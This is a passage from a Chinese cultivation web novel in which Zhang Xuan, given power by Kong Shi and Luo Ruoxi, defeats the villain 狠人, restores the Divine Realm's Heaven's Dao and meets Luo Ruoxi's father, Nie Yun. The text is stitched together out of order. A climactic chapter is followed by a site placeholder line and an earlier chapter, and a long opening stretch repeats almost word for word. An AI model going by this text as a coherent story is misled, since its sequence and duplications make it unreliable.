“是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第二百六十五章 快去瞧瞧孟希越! 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… 